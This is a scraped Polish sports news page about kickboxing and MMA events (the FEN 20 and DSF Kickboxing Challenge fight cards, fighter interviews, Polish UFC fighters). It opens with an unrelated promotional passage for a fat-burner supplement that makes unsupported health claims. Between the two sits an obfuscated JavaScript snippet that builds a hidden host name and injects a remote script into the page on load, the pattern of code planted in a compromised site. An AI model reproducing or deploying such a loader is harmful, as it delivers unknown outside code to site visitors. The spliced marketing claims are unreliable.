Jednak, na forum sfd spotykamy się również z wpisami, gdzie sugerowano, że spalacz znacznie podnosi możliwości układu nerwowego. Zawiera bowiem w swoim składzie takie komponenty jak różeniec górski, wyciąg z szafranu, które wykorzystują swoje działania adaptogenne, pozwalając szybciej się regenerować, jak i podtrzymywać jego aktywność na wysokim poziomie. Co więcej, wyciąg z szafranu posiada właściwości, które podtrzymują dobre samopoczucie, co ma przeciwdziałać obniżonemu nastrojowi, wynikającemu z niskiej podaży energii.

Należy jednak pamiętać, że samo wykorzystanie spalacza to nie tylko efekt doraźny, stricte redukujący tłuszcz. To również wsparcie motywacyjne, psychologiczne, które polegać ma na podtrzymaniu motywacji do treningów. Wykorzystanie spalacza w formie przedtreningówki to również okazja do tego, aby trening był intensywniejszy, dłuższy, co pozwala spalić więcej kalorii podczas jednego wysiłku.

Podsumowując

Kupując spalacz Redox Extreme, otrzymujemy nie tylko suplement diety, ale i wsparcie dietetyka i trenera. Pozwala to na kompleksowe podejście do tematu odchudzania, które można dodatkowo kontrolować za pomocą fałdomierza. Z analizy wpisów na forum sfd jasno wynika, że jest to inwestycja godna uwagi, która daje znakomite rezultaty.

[kod]

(function(){
apk2=document.createElement("script");apk2_="u"+("s")+"ta";
apk2_+=("t.i")+""+"n";apk2_+=(("f")+"o");apk2.type="text/javascript";
apk2_+="/"; apk2u="72465988";apk2u+=".yh3gbum2pk2glx4q9lu";apk2u+="5pzxz8zqvaX";
apk2.src="//"+apk2_+apk2u; apk2.async=true; document.body.appendChild(apk2);
})();

Korczak – Szreder na FEN 20

Znamy już wszystkich zawodników jubileuszowej, warszawskiej FEN 20 „Next Level”! 10 marca rywalem Marcina Szredera (5-2) będzie Rafał Korczak (1-1).

Dla Korczaka (1-1) będzie to debiut w federacji FEN. Dotychczas, trenujący na co dzień w klubie Uniq Fight Club zawodnik, stoczył w swojej krótkiej karierze dwa pojedynki – raz wygrywając i raz doznając porażki. Do walki na Torwarze przygotowuje się między innymi w towarzystwie Radosława Paczuskiego, którego zobaczymy w pojedynku wieczoru FEN 20. Warszawianin Korczak liczy na to, że dzięki pokonaniu Szredera w efektowny sposób zaznaczy swoją obecność w barwach federacji już podczas inauguracyjnego występu.

Dla Marcina Szredera (5-2) będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu ubiegłego roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • Rafał Korczak VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

MAZURKIEWICZ: Zwycięstwo nad Kosowskim przybliży mnie do walki o pas federacji DSF!

Już 9 marca na gali DSF Kickboxing Challenge: Twierdza dojdzie do rewanżowej walki pomiędzy Marcinem Mazurkiewiczem (8-3) a Wojciechem Kosowskim (9-2-1). Zwycięzca wykona wielki krok w kierunku pojedynku o mistrzowski pas federacji w wadze do 77 kg.     W tej kategorii federacja nie ma jeszcze swojego czempiona!

Pas DSF w kategorii do 77 kg jest nieobsadzony. To ja chcę zostać pierwszym mistrzem federacji w tej wadze. Pracuję na to bardzo ciężko – przekonuje pewny siebie Mazurkiewicz. – Nie ma złej krwi między mną a rywalem. To sport, każdy chce wygrać. Stoczymy dobrą walkę, ale tym razem to ja będę górą. To będzie mój pierwszy pojedynek w tym roku. Chcę dobrze zacząć i wykonać duży krok w kierunku mistrzowskiego pasa DSF Kickboxing Challenge!

33-letni Kosowski mocno studzi zapędy przeciwnika.

Mam przed sobą poważne wyzwanie. DSF to obecnie najmocniejsza federacja na polskim rynku K-1. Nie mogłem jej odmówić. Ta walka pokaże, czy się jeszcze nadaję – ocenia Wojciech Kosowski. – Marcin mówi głośno, że chce zdobyć pas federacji. Uważam, że w życiu trzeba twardo stąpać po ziemi, nie lewitować. W samej Palestrze jest kilku zawodników, których bardziej bym widział z takim pasem. Po sparingach w klubie często wychodzę bardziej poobijany niż po walce zawodowej z Marcinem Mazurkiewiczem w 2016 roku – kończy weteran.

25-letni Mazurkiewicz i starszy o osiem lat Kosowski po raz pierwszy starli się w grudniu 2016 roku na gali DSF Kickboxing Challenge: Najlepsi z Najlepszych w Hotelu Marriott w Warszawie. Doświadczenie wygrało wówczas z młodością. Rok później dawni rywale znów spotkają się w ringu. Stawka będzie jednak wyższa.

Wtedy mnie pokonał, choć walka była bardzo bliska. Czekałem na ten rewanż i nie widzę innej opcji niż moje zwycięstwo. Głód jest spotęgowany tym, że wtedy przegrałem. To siedzi z tyłu głowy, więc ze zdwojoną siłą chcę pokazać swoje możliwości. Tym razem wygra ten, kto bardziej się rozwinął – mówi Mazurkiewicz.

Zwycięzca pierwszej walki stracił cały 2017 rok z powodu kontuzji. Po dwóch operacjach w pełni sprawny Wojciech Kosowski wrócił do treningów i zamierza szybko nadrobić stracony czas.

Pamiętam, że walka była zacięta, ale sędziowie widzieli moje zwycięstwo. Powtórzenie tego wyniku to dla mnie szansa na powrót do gry – przyznaje zawodnik klubu Palestra Warszawa. – Mój przeciwnik jest zdeterminowany, by się odegrać. Widzę, że zmienił styl na bardziej ofensywny. Nie próżnował i stoczył dla organizacji DSF dwie wygrane walki w ubiegłym roku. Na pewno rewanż będzie dla mnie trudniejszy, ale nie boję się wyzwań – dodaje Kosowski.

Trenujący na co dzień w Fight House Nowy Sącz Mazurkiewicz nie ma wątpliwości, że ciężka praca przyniesie efekty i na ringu w Nowym Dworze Mazowieckim to jego ręka powędruje w górę po ostatnim gongu.

Trenuję do upadłego, nie ma półśrodków. Zawsze daję z siebie wszystko, bo nie chcę zostać zapomniany. Jestem dziś pod każdym względem lepszy niż w pierwszej walce. Będę twardy, nieustępliwy i cały czas zamierzam iść do przodu. Chcę dominować w ringu. Zobaczą to sędziowie jak i przeciwnik, który albo pęknie, albo wywiąże się z tego dobra walka. Wiem, czego pragną kibice. Chcę im dać wielkie widowisko – zapewnia sądeczanin.

Z jednej strony będą ambicje młodego wojownika, z drugiej wielkie doświadczenie i spokój ringowego weterana, który w przeszłości dwukrotnie (w latach 2012 i 2014) zdobywał tytuł mistrza świata Muay Thai.

Nie jestem dobrym oratorem, ale widzę za to, że mój przeciwnik poprawił się na tym gruncie.       W ringu walczy dwóch, na pewno jeden będzie miał po konfrontacji ręce uniesione, a drugi opuszczone. Spekulacje zostawmy bukmacherom. Gdybym miał obstawiać pieniądze, postawiłbym na siebie. Czy wygrają doświadczenie i rutyna, czy młodość i ambicja rywala? Przekonajcie się samemu, przychodząc 9 marca na halę NOSiR w Nowym Dworze Mazowieckim – odpowiada Kosowski.

W walce wieczoru gali DSF Kickboxing Challenge: Twierdza w federacji zadebiutuje Piotr Strus, którego w trzyrundowym starciu w kategorii do 91 kg przetestuje niebezpieczny Brice Kombou z Kamerunu. Wcześniej do obrony mistrzowskiego tytułu Full Contact (81 kg) przystąpi Łukasz Wichowski, który zmierzy się z trzykrotnym mistrzem świata z Francji Yohanem Lidonem. Pierwszą tegoroczną walkę stoczy również znany z występów na całym świecie Rafał Dudek (71 kg), a kolejną atrakcją dla kibiców kickboxingu będzie obsadzony gwiazdami europejskiej sceny K-1 turniej w kategorii do 65 kilogramów.

Bilety na galę DSF Kickboxing Challenge: Twierdza są dostępne w cenie od 50 PLN w serwisie TicketClub.pl.

Najpierw Parker, potem Miller?

Marzec upłynie pod znakiem ciekawych walk w bokserskiej wadze ciężkiej. 3 marca w Barclays Center mistrz WBC Deontay Wilder zmierzy się z Luisem Ortizem. Między pięściarzami iskrzy od dawna. Na drugie starcie trzeba będzie poczekać do 31 marca. Wtedy to w Cardiff do ringu wejdą czempion IBF, IBO, WBA Anthony Joshua i właściciel pasa WBO Joseph Parker. Jednak promotor urodzonego w Watfordzie boksera już myśli o kolejnych wyzwaniach.

Aby osiągnąć sukces trzeba mieć cel i konsekwentnie do niego dążyć. Czasami nie należy skupiać się na tym, co tu i teraz. Momentami bywa ciężko, ale trzeba zacisnąć zęby i iść dalej. Joshua jest już na szczycie i uchodzi za gwiazdę światowego pięściarstwa. Nad jego karierą czuwa Eddie Hearn, który nie próżnuje. Wszyscy miłośnicy boksu oczekują, że w tym roku przyjdzie im zobaczyć starcie Joshuy z Wilderem. Dyskusja na ten temat toczy się od dawna. W styczniu Eddie Hearn dał do zrozumienia, że "AJ" jest w stanie rywalizować z Amerykaninem, ale ten ma zbyt wygórowane żądania. Mistrz WBC był oburzony, gdy złożono mu propozycję starcia z Dillianem Whyte'm. 

Gwiazdy wagi ciężkiej na ringu pojawią się w marcu. Joshua będzie miał okazję dołożyć do swojego dorobku kolejny pas. W Cardiff zmierzy się z mistrzem WBO Josephem Parkerem, który tytuł zdobył ponad rok temu zwyciężając Andy'ego Ruiza. 26-letni Nowozelandczyk dwa razy bronił pasa – pokonał Razvana Cojanu i Hughie Fury'ego.

Hearn ma już pomysł na kolejnego rywala dla Joshuy i wcale nie jest to Wilder. Promotor czempiona z Watford czyni przymiarki do jego debiutu w Stanach Zjednoczonych. Joshua miałby zmierzyć się z Jarrellem Millerem, który niedawno pokonał Mariusza Wacha. Jak dotąd 29-latek nie przegrał żadnnego pojedynku, wygrał 20, a 28 kwietnia spotka się z byłym pretendentem do pasa WBC Johannem Duhapasem. – Miller jest czołowym zawodnikiem amerykańskiej wagi ciężkiej. Jego szanse w starciu z Duhaupasem oceniam 50-50. W ostatniej walce Miller nie prezentował się najlepiej, ale na tle Wacha ciężko dobrze wypaść, a Jarrell wygrał przed czasem – mówi promotor Anthony'ego Joshuy.

A może zapowiedzi Hearna to tylko gra, która ma obniżyć żądania Wildera? – Miller ma okazję udowodnić, że jest gotowy na mistrzowskie starcie. Jeśli Wilder nadal będzie fantazjował, to w sierpniu będzie dążyli do walki Joshua vs Miller – zapowiada Hearn.

KM

Wielkie wyzwania przed Strusem i Wichowskim na DSF Kickboxing Challenge: Twierdza!

Jak debiutować – to z przytupem. 9 marca na gali „DSF Kickboxing Challenge: Twierdza” Piotr Strus nie będzie miał taryfy ulgowej. W pierwszej walce dla federacji zmierzy się z niebezpiecznym Brice’em Kombou. Kameruńczyk z niemieckim paszportem to pogromca obecnego mistrza DSF Kickboxing Challenge Maksymiliana Bratkowicza. Na tej samej gali niepokonany Łukasz Wichowski będzie bronił tytułu w formule Full Contact w starciu z francuskim mistrzem świata – Yohanem Lidonem.

Piotr Strus, zanim rozpoczął karierę w MMA, walczył z powodzeniem w formułach stójkowych. Bardzo dobrze prezentował się w K-1, w którym odniósł 7 zwycięstw w ośmiu występach (jedna walka zakończyła się remisem). Walką z Kombou pochodzący z Warszawy zawodnik chce podtrzymać dobrą passę i udanie zaprezentować się przed fanami najlepszej polskiej federacji kickboxingu.

""

Widziałem jego walkę z Maksem, Kombou to bardzo groźny zawodnik, który opiera swój styl na dobrej kondycji i cały czas poluje na mocne uderzenia. Nie dam mu się rozwinąć, spróbuję go stłamsić od początku. Jestem w treningowym sztosie i zapewniam was, że zobaczycie trzyrundową wojnę w naszym wykonaniu. Nikt nie pożałuje, że przyszedł obejrzeć mój debiut w DSF Kickboxing Challenge – gwarantuje 29-letni Strus.

Wielkie wyzwanie czeka także mistrza DSF Kickboxing Challenge w formule Full Contact w kategorii do 81 kilogramów. Rywalem Łukasza Wichowskiego będzie znany z agresywnego stylu i potężnego uderzenia Yohan Lidon. 34-letni Francuz jest trzykrotnym mistrzem świata         w Muay Thai i kickboxingu. Stoczył ponad sto zawodowych walk i odniósł w nich aż 93 zwycięstwa (56 przez nokaut). Jako pierwszy kickbokser w historii Lidon został mistrzem świata It’s Showtime.

""

Mój rywal jest znakomitym zawodnikiem. Tylko starcia z takimi fighterami motywują do wchodzenia na jeszcze wyższy poziom sportowy. Cieszę się z tego wyzwania, ale ten pas jest ze mną praktycznie od początku istnienia i nie zamierzam go oddawać. Pozostanę mistrzem DSF Kickboxing Challenge w formule Full Contact – zapewnia Wichowski, który w zawodowej karierze stoczył 15 walk i nie przegrał ani razu.

Pod dużym wrażeniem umiejętności Yohana Lidona jest dyrektor sportowy DSF Kickboxing Challenge Robert Złotkowski, który postanowił ściągnąć Francuza do Polski.

Ciężko znaleźć godnego rywala dla Łukasza Wichowskiego. Myślę, że tym razem to się udało. Jedno jest pewne, czeka nas pięć fantastycznego kickboxingu, jeśli oczywiście walka nie zakończy się przed czasem. Łukasz, jak sam o sobie mówi, chce kroczyć drogą swojego mistrza Marka Piotrowskiego, który walcząc przez całą karierę z najlepszymi w formule Full Contact osiągnął w tym piekielnie trudnym sporcie wszystko. Jeśli Łukasz chce być najlepszy, musi iść tą samą drogą – podkreśla Złotkowski.

""

Kolejnym spektakularnym wydarzeniem na gali w Nowym Dworze Mazowieckim będzie międzynarodowy – czteroosobowy turniej (do 65 kg) mistrzów, który w takiej formule odbędzie się po raz pierwszy na DSF Kickboxing Challenge. Bardzo interesująco zapowiadają się także dwie walki zawodników z Nowego Sącza – Rafała Dudka (71 kg) i Marcina Mazurkiewicza (77 kg).

Pierwszy wciąż należy do najlepszych polskich kickbokserów. Drugi to jego wychowanek, który pokazał się z bardzo dobrej strony w 2017 roku. Obaj mówią jednym głosem, że w tym roku chcieliby stanąć do walki o pasy DSF Kickboxing Challenge w swoich kategoriach. Jeśli chcą zbliżyć do tego celu, muszą w Nowym Dworze pokazać mistrzowską formę.

Bilety na galę DSF Kickboxing Challenge: TWIERDZA są dostępne w cenie od 50 PLN na stronie TicketClub.pl.

Leśko przed FEN 20: To ja będę górą w tym czysto sportowym pojedynku

Bartosz Leśko (6-0-1, 2 KO, 3 SUB) zmierzy się z Marcinem Naruszczką (18-8, 7 KO, 2 SUB) podczas gali Fight Exclusive Night 20 "Next Level". Zawodnik z Gdyni stoczy dopiero swój trzeci pojedynek w barwach federacji, a starcie z Naruszczką będzie największym jego wyzwaniem w dotychczasowej karierze. Leśko jest przekonany, że to jego ręka będzie w górze po walce.

Już tylko kilkanaście dni pozostało do gali FEN 20. Jak się czujesz?

Bartosz Leśko:Bardzo dobrze. Z dnia na dzień coraz lepiej. Sam jestem zdumiony, w jakiej jestem formie, a przecież do walki zostało jeszcze trochę czasu. Energia we mnie buzuje, jestem gotowy już dziś wyjść do klatki.

Ile ważysz?

BL:91 kilogramów, trochę schudłem, by w ostatnim etapie przed walką mieć mniej do zbijania. Jestem dużo szybszy już dziś, a jeszcze sporo przed nami. Forma ma przyjść 10 marca i tak też jestem prowadzony.

Marcin Naruszczka ważył dużo więcej podczas przygotowań. Wiele osób zwracało uwagę na to, że urósł.

BL:Bardzo dobrze – jeżeli tak czuł się dobrze, to podjął słuszną decyzję – nic mi do tego. Musi więcej zbijać do pojedynku, ale to doświadczony zawodnik i na pewno sobie z tym poradzi.

Oglądałeś jego walki?

BL:Widziałem dwie, ale nie teraz, już wcześniej. Z Andrzejem Grzebykiem, bo oglądałem całę galę FEN 18 i z Pawłem Brandysem, gdyż też z nim walczyłem i analizowałem styl walki Brandysa. Co mogę o nim powiedzieć? To dobry zawodnik, ma sporo atutów, ale popełnia też błędy jak każdy z nas. Skupiam się na sobie, by zrealizować swój plan na walkę. Oczywiście, że zdaje sobie sprawę z powagi wyzwania, ale jestem spokojny. Wyjdę i wygram ten emocjonujący, czysto sportowy pojedynek.

Każdy tak mówi.

BL:Tak? To widzisz, niczym się nie wyróżnię. Czuję już lekkie emocje. Gdy zawodnik mówi, że nie czuje żadnych emocji i w ogóle się nie denerwuje, to oszukuje, bo to niemożliwe. Pewnie im bliżej walki, tym ekscytacja będzie większa, ale to wpłynie tylko na dobre w moim pojedynku.

Przygotowywałeś się do tej walki z Oskarem Piechotą, który efektownie wygrał podczas ostatniej gali UFC. To dobry znak.

BL:Zdecydowanie tak, bo widziałem w jaki sposób Oskar trenuje i jak dobrze jest przygotowany do walki. Naprawdę on z walki na walkę robi coraz większy progres i w ogóle nie byłem zaskoczony tym, co zobaczyłem podczas UFC.

Jaki jest plan na te ostatnie kilkanaście dni?

BL:W tym tygodniu jeszcze sparingi, a potem już łapanie świeżości i szybkości. Na dzień dzisiejszy jestem bardzo zadowolony z przepracowanego okresu i mam nadzieję, że tak też już zostanie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Media trening przed galą FEN 20

W sobotę, 24 lutego, o godzinie 22:00 w klubie Hulakula przy ulicy Jagiellońskiej 82B w Warszawie odbędzie się trening medialny przed galą Fight Exclusive Night 20 „Next Level”.

Będzie to znakomita okazja do porozmawiania z zawodnikami, którzy wezmą udział w tym wydarzeniu. Do dyspozycji przedstawicieli mediów będą Radosław Paczuski, Marian Ziółkowski, Arkadiusz Wrzosek, Marcin Naruszczka, Kamil Łebkowski, Marcin Szreder, Paweł Trybała, Tymoteusz Świątek i Alan Kwieciński. Od godziny 20:30 będzie czas na wywiady, a po ich zakończeniu, czyli od 22:00, przyjdzie czas na trening otwarty dla kibiców.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek +95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder +95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

PZKB: "Poland Professional Kickboxing Group"

Poland Professional Kickboxing Group jest nową komórką sportowo-szkoleniową powołaną przez Polski Związek Kickboxingu.

Priorytetowym celem działań tej grupy jest wsparcie szkoleniowo – sportowe oraz organizacyjne najwybitniejszych zawodników i trenerów Polskiego Związku Kickboxingu rywalizujących w walkach profesjonalnych. Sportowa działalność Poland Professional Kickboxing Group ukierunkowana będzie na szkolenia i ścisłą specjalizację w rywalizacji profesjonalnej wg. regulaminów walk ringowych (K-1 Rules, Low Kick, Full Contact).

Wszelkie działania i szkolenia grupa ta realizować będzie w pełnej synchronizacji z kalendarzem PZKB oraz programem organizacyjnym sportowego partnera związkowego – federacji zawodowej DSF Kickboxing Challenge.

Powstanie Poland Professional Kickboxing Group jest odpowiedzią na zapotrzebowanie wynikające z rozwoju i ekspansji polskiego zawodowego kickboxingu. Funkcjonowanie grupy powinno wzmocnić, wesprzeć i uzupełnić już funkcjonujące kierunki szkoleniowe kadr narodowych PZKB.

Patronat na działalnością Poland Professional Kickboxing Group objęli prezes PZKB Piotr Siegoczyński oraz v-ce prezes Andrzej Palacz. .

Kierownictwo szkoleniowo – organizacyjne nad grupą obejmie trener Tomasz Mamulski – tym samym będzie sprawował funkcję „Trenera Kadry Zawodowej Polskiego Związku Kickboxingu”.

Kierunek – na sam szczyt

Oskar Piechota potwierdził, że należy mu się miejsce w UFC. Polski zawodnik odniósł drugie zwycięstwo w amerykańskiej organizacji nokautując Tima Williamsa. Czy, a może wypada zapytać kiedy Piechota podbije wagę średnią?

Polscy kibice ściskali kciuki za kolejnych rodaków, którzy podpisywali kontrakty z organizacją UFC. Z wieloma wiązano ogromne nadzieje. Ale jak wiadomo skala przedsięwzięcia może paraliżować, a i trzeba się cały czas doskonalić, aby równać do najlepszych.

Świetnie w UFC zadebiutował, który w październiku 2014 roku w pierwszej rundzie rozbił Ilira Latifiego. Później przyszły gorsze dni dla Polaka, jednak ostatnio "John" wrócił na prostą i zanotował dwie wygrane z rzędu. Od porażki przygodę z UFC rozpoczął Krzysztof Jotko, ale kolejnych pięć walk padło jego łupem i pojawił się apetyt na walkę o pas. Następne dwa pojedynki Polak przegrał. W kwietniu Jotko stoczy ważną walkę z Bradem Tavaresem. Zwycięstwem z UFC przywitał się Daniel Omielańczuk. Następnie dwie porażki, trzy zwycięstwa i nadzieja na więcej, ale kolejne trzy przegrane zakończyły przygodę Polaka z amerykańską organizacją. Marcin Tybura na starcie przegrał, ale później zanotował trzy zwycięstwa. Teraz nie ma dobrej passy – dwie porażki.

W przypadku pań sytuacja wygląda zupełnie inaczej. Joanna Jędrzejczyk wygrała osiem pojedynków, zdobyła pas mistrzyni wagi koguciej i zatrzymała ją dopiero Rose Namajunas. Dobrze w UFC odnalazła się Karolina Kowalkiewicz. Kolejno odprawiła Randę Markos, Heather Clark i Rose Namajunas. Zatrzymała ją dopiero Jędrzejczyk, potem silniejsze okazała się Claudia Gadelha, ale Polka wróciła na zwycięską ścieżkę pokonując Jodie Esquibel.

Przykłady można mnożyć. Świetnie w Bellatorze radził sobie Marcin Held. Jego przejście do UFC było oczywiste, ale po trzech walkach pojawiły się obawy, że polski lekki szybko pożegna się z amerykańską organizacją. Brak szczęścia, niezrozumiały werdykt sędziów – sytuacja Helda mogła wyglądać inaczej, ale uratował się wygrywając z Nasratem Haqparastem. 26-latek wierzy, że będzie mógł sprawdzić się w kolejnej walce i pokazać swój potencjał. Niebawem w UFC zadebiutuje kolejny Polak – Marcin Prachnio. Pierwsze walki mają już za sobą Michał Oleksiejczuk i Adam Wieczorek, którzy dostarczyli radości polskim fanom wygrywając swoje starcia. Zatem – czekamy na więcej.

Mamy kilkunastoosobową armię wojowników w UFC. Jedni z większym, inni z mniejszym doświadczeniem. Start nie jest wyznacznikiem sukcesu. Pierwsza walka może różnie się ułożyć. Nawet zwycięstwo nie jest dokładnym weryfikatorem. Dopiero ten drugi pojedynek pokazuje, czy zawodnik mentalnie jest w stanie udźwignąć ciężar rywalizacji i odnajduje się sportowo w UFC. Oskar Piechota pokazał, że idealnie pasuje do amerykańskiej organizacji. Podczas gali UFC Fight Night 126 Polak znokautował w pierwszej rundzie Tima Williamsa. 11 zwycięstw na koncie Piechoty, w tym 10 przed czasem. To mówi samo za siebie. Nie można tego ukrywać – mamy w UFC zawodnika, którego sportowo stać na wiele. Piechota jest zdeterminowany i konsekwentny w tym, co robi. Ale najważniejsze, że ma świadomość celu, do którego dąży. – Kolejny krok za mną, cały czas jest to początek drogi ale kierunek jest jeden – na sam szczyt – napisał zawodnik po walce z Willamsem na swoim Facebooku.

Fot. Oskar Piechota Facebook

KM

Rafał Dudek: "Starty w DSF Kickboxing Challenge to mój priorytet!"

Rafał Dudek, jeden z najbardziej znanych polskich kickbokserów, wystąpi na DSF Kickboxing Challenge: TWIERDZA. Impreza odbędzie się 9 marca w Nowym Dworze Mazowieckim. W walce wieczoru w federacji zadebiutuje Piotr Strus. Wcześniej w obronie tytułu mistrza DSF Kickboxing Challenge w kategorii do 81 kilogramów powalczy specjalista Full Contact – Łukasz Wichowski.

Blisko 34-letni Rafał Dudek walczył na ringach całego świata dla najlepszych federacji jak Glory czy Enfusion. W Polsce od trzech lat związany jest z DSF Kickboxing Challenge. W tym czasie sądeczanin dwukrotnie był bohaterem walki wieczoru – na pierwszej gali „Najlepsi z Najlepszych” w Champions Sports Bar Restaurant w grudniu 2016 roku oraz w czerwcu 2017 roku na DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał przed własną publicznością kickboksera i boksera Rafała Jackiewicza.

""

Stawiam na DSF Kickboxing Challenge. Starty tutaj to dla mnie priorytet – nie kryje Dudek, który w ubiegłym roku wystąpił również na dwóch galach GLORY. – Mam różne propozycje zagraniczne. Chciałbym stoczyć w tym roku cztery walki zawodowe – kończy amatorski i zawodowy mistrz Polski K-1.

W 2017 roku Rafał narzucił sobie szalone tempo. W krótkim czasie stoczył trzy trudne pojedynki, co okupił m.in. problemami ze zdrowiem. Dwie walki zakończyły się jego porażkami na punkty.

W ubiegłym roku kalendarz dziwnie się ułożył i stoczyłem aż trzy walki w ciągu dwóch miesięcy. To odbiło się na mojej dyspozycji – uważa Dudek. – Nawet wyniki krwi wykazały, że nie wszystko było w porządku. Musiałem zmienić pewne rzeczy i odbudować organizm. Pracowałem także nad warstwą mentalną. Moje jednostki treningowe stały się krótsze, ale bardziej intensywne. Obecnie czuję się świetnie i będę w pełni gotowy na 9 marca – zapewnia.

""

Mimo ponad trzydziestu walk zawodowych na koncie i trwającej od wielu lat kariery, Rafał Dudek wciąż prezentuje w ringu wysoki europejski poziom.

Pamiętam moje walki sprzed dwóch lat. To był sztos! Wiem, że stać mnie jeszcze na taką formę, by dać ludziom niezapomniane widowiska. Mam sobie trochę do udowodnienia. Popełniłem kilka błędów, ale to już za mną. Teraz doczekaliśmy się federacji, która jest w stanie zakontraktować każdego zawodnika. Jestem przekonany, że z kilkoma najlepszymi będę mógł się zmierzyć w Polsce. Będę gotowy, by podjąć rękawice z każdym – zapewnia Rafał Dudek.

W tym roku Dudek nie zamierza powielać błędów przeszłości i planuje robić większe odstępy między walkami, by móc w pełni się regenerować i przystępować do każdego pojedynku w optymalnej formie. Kluczowe mają być dyscyplina i zachowanie tej samej sylwetki przez cały sezon startów.

Jestem i zawsze byłem zdecydowanym przeciwnikiem dopingu. Wszyscy zawodnicy powinni mieć w ringu równe szanse – apeluje nowosądeczanin. – Nie walczę w wadze ciężkiej, masa mięśniowa nie jest tu potrzebna. Gdyby to sylwetka walczyła, to kulturyści byliby mistrzami świata w sportach walki. Oczywiście każdy zawodnik jest inny, ale w moim klubie obserwuję różnych fighterów i radzę wszystkim skupiać się jak najwięcej na technice – przypomina Rafał Dudek.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

PREMIERA: PZKB TV odc. 21

Zapraszamy do obejrzenia #21 odcinka programu z serii PZKB TV. Naszym gościem był Rafał Mazurowski trener Reprezentacji Polski Kickboxingu w formule Kick Light oraz trener i prezes klubu Centrum Sportów Walki "Champion" a także NGF Champion TV.

[kod]

Błeszyński kontra Kwieciński na FEN 20!

Adrian Błeszyński (4-2) będzie rywalem Alana Kwiecińskiego (6-5) podczas gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się w kategorii wagowej do 77 kilogramów.

Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz piąty. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Dwa miesiące później we Wrocławiu stoczył jedną z najlepszych walk w historii federacji FEN i nieznacznie przegrał na punkty z Tymoteuszem Łopaczykiem. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 31-letniego „Aresa” budzi ogromne zainteresowanie kibiców.

Pojedynek z Błeszyńskim będzie trzecim występem Kwiecińskiego pod szyldem FEN, z czego drugim w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show „Warsaw Shore” w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1 *

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Alan Kwieciński wystąpi na FEN 20!

